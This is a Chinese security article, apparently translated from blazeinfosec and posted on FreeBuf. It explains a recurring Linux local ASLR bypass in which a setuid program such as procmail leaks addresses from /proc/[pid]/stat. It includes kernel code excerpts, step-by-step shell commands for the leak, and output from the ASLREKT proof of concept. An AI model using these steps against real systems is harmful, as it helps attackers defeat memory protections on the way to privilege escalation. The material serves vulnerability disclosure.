『FreeBuf』永远修复不完的Linux本地ASLR漏洞( 二 )
$su &[1] 2661cat: /proc/2661/maps: Permission denied正如在oss-sec的漏洞公告中介绍的那样 , 权限检查在read出执行 , 这里之所以存在安全问题 , 是因为非特权用户可以打开映射文件 , 从中获取到有效的文件描述符 , 然后将其发送给特权程序 。 例如setuid root , 而某些特权程序可以以某种方式将文件中的内容泄露给非特权用户 , 因为特权进程有权限利用read函数来读取映射文件 。
相关的漏洞修复方案可以点击【这里】获取 。
漏洞分析但是 , 这个修复方案是存在问题的 , 因为还有其他的/proc/[pid]/伪文件可以泄露当前映射的内存地址 , 而它们的权限检查仍然是在read处进行的 。 在这里 , 引发问题的还是/proc/[pid]/stat 。
$su &[1] 2767-r--r--r-- 1 root root 0 Feb 4 16:50 /proc/2767/stat[1]+ Stopped su2767 (su) T 2766 2767 2766 34817 2773 1077936128 266 0 1 0 0 0 0 0 20 0 1 0 181759 58273792 810 18446744073709551615 1 1 0 0 0 0 524288 6 0 0 0 0 17 1 0 0 6 0 0 0 0 0 0 0 0 0 0但这一次情况的不同之处就在于 , 非特权用户可以在不将ptrace附加到目标进程的情况下读取其所属的/proc/[pid]/stat , 但是此时的内存地址字段都被字符“0”替换了 。 Linux v5.5中的fs/proc/array.c部分代码如下:
staticintdo_task_stat(structseq_file *m,structpid_namespace *ns,structpid *pid,structtask_struct *task,intwhole){[...][...]permitted = ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS | PTRACE_MODE_NOAUDIT);[...]seq_put_decimal_ull(m," ", mm ? (permitted ? mm->start_code :1) :0);" ", mm ? (permitted ? mm->end_code :1) :0);seq_put_decimal_ull(m," ", (permitted && mm) ? mm->start_stack :0);这个漏洞的利用方式跟SUSE的安全工程师在oss-sec上发布的一样 , 只不过这种情况下读取的应该是/proc/[pid]/stat 。 除此之外 , 还有一些其他可能会泄露内存地址的setuid文件 , 其中包括procmail、spice-client-glib-usb-acl-helper和setuid root 。
比如说 , 我们下面用procmail来举个例子:
$su &[1] 3122$cut -d' '-f51 /proc/3122/stat0[1]+ Stopped su$procmail < /proc/3122/stat$tail -2 /var/spool/mail/user | cut -d' '-f51140726221803504$printf'0x%x\n'1407262218035040x7ffd60760ff0#cat /proc/3122/maps[...]7ffd60740000-7ffd60761000 rw-p 00000000 00:00 0 [stack]漏洞利用我们已将完整的漏洞利用PoC-ASLREKT发布在了GitHub上 , 感兴趣的用户自行可以下载并测试 。
$ ./aslrekt***** ASLREKT *****Password:[+] /bin/su .textisat0x564219868000[+] /bin/su heapisat0x56421b657000[+] /bin/su stackisat0x7ffe78d76000# cat /proc/$(pidof su)/maps总结自从Linux将ASLR引入内核机制以来 , 针对ASLR的本地攻击一直都未能断绝 , 毫无疑问 , 以后针对ASLR的攻击也不会减少 。 Linux的内核开发者们似乎对/proc/[pid]/的安全问题也缺乏一定的认识 , 因此该问题才迟迟得不到适当的解决 。
* 参考来源:blazeinfosec , FB小编Alpha_h4ck编译 , 转载请注明来自FreeBuf.COM
推荐阅读
- 『小谦』原创 安卓11迎来开发者预览2.1版本,修复诸多崩溃问题
- 小谦:安卓11迎来开发者预览2.1版本,修复诸多崩溃问题,原创
- 【小谦笔记】修复诸多崩溃问题,安卓11迎来开发者预览2.1版本
- 育儿小手册:战士你可以不会曜盘古,连他都不会,那你只能永远待在钻石,张大仙公布
- [我是肥球球]IG聪哥哭泣,LOL愚人节更新?修复了100%胜率的BUG
- 小楼侃体育@是吧?好,走了,就永远别来了,非得扯上此事
- #驱动之家#镜像已出 安卓11 DP 2.1系统发布:修复不少崩溃问题、更稳定流畅
- #花与法兰西#国人:支持,没有一点商量的余地!这三类人将被永远剥夺中国国籍
- 「武器装备新视野」永远不会还给日本,北方四岛多重要?俄不许任何国家染指
- 「好六网」这四位英雄被修复,原来强势都是因为bug,王者荣耀:s19赛季开启
